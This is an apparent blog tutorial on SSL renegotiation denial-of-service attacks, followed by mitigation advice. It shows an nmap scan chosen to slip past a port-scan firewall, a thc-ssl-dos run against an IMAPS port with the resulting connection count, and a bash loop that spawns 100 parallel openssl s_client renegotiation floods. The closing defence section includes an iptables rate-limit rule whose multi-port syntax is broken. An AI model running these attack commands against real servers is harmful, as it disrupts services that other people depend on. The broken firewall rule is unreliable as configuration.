SSL DOS Attack: 

As more transactions and services are protected by SSL, DDoS attacks on SSL secured services are on the rise and are justifiably getting more attention. Some of these attacks are actually standard flood and TCP connection based attacks that have been used for years to disrupt both secured and clear text services.

Hey guys, normally we block port scan at server level but still you need to bypass below ports which are necessary for any services/application to work,

Ports:

HTTPS – 443

POP3s – 995

IMAPs – 993

smtps – 465

consider a scenario where our servers are scanned for open ports and we have an implementation where any request on the ports other than bypassed, scans are blocked.

we have such implementation where ports bypassed are, 22, 80, 443 etc etc …. for HTTP, HTTPS, SSH, IMAPS and other services to work properly.

what if I scan on the known default ports for services? As a tendency for a human being, If anyone is asked to scan for SSH information, he will directly addressed port 22 in his mind. isn’t it??

let’s scan for a specific port,

root@bt [~]# nmap -A xxx.xxx.xxx.xxx -p443,993,995

PORT          STATE       SERVICE       VERSION
443/tcp    open           http                 Apache httpd
993/tcp    open           ssl/imap        Dovecot imapd
995/tcp    open           ssl/pop3        Dovecot pop3d

From the output, 443,993,995 are open ports. and without getting blocked by port scan firewall.

Now it’s time to run thc-ssl-dos tool but before that I would like you guys to watch this video on “How SSL DOS attack is perform?”

thc-ssl-tool, that works at the SSL/TLS layer. The tool is exploiting the fact that, when a new SSL connection is being negotiated, the server will typically spend significantly more CPU resources than the client. Thus, if you are requesting many new SSL connections per second, you may end up using all of the server’s CPU.

root@bt[~]# thc-ssl-dos xxx.xxx.xxx.xxx 993 –accept

ssldos

Let the connection go till 500 to 1000 and after fifteen minutes, let’s check at the remote server and it’s status,

root@bt [~]# netstat -tunap | grep :993 | wc -l

700

root@bt [~]#

Imagine the load on the server,

load

This is just an example from a single machine, Multiple hosts attacking and imagine the Web-server performance serving 20-30 websites.

Degrades the performance!!!!

openssl can be used to perform the same attack It’s not as elegant as the private thc-ssl-dos but works quite well indeed. 2 simple commands in bash:

—–BASH SCRIPT BEGIN—–

thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done } for x in `seq 1 100`; do thc-ssl-dosit & done

—–BASH SCRIPT END——-

Solution:

you’ll find a common solution to disable SSL renegotiation for apache but what about other ports?

Disable SSL renegotiation in Apache?

1. vi /etc/httpd/conf/httpd.conf

2. SSLInsecureRenegotiation off

3. service httpd restart

4. how to check whether it’s disable or not?

root@bt [~]# openssl s_client -connect 127.0.0.1:443
CONNECTED(00000003)
750:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:588:

Secure Renegotiation IS NOT supported

output like below means SSL renegotiation is supported,

RENEGOTIATING

verify return:1

Disabling SSL renegotiation for other ports?

Iptable rule will work best because it’s advised that

iptables -A LIMIT_SSL  -p tcp –dport 993 or 995 or 443  –syn -m state –state NEW -m hashlimit –hashlimit-above 120/minute –hashlimit-burst 20 –hashlimit-mode srcip –hashlimit-name ssl-conn -j DROP
Please follow some nice links below for Ref:
PS: Iptable rule will be the best solution. AFAIK, limiting the number of requests per ip-address is the good solution so far.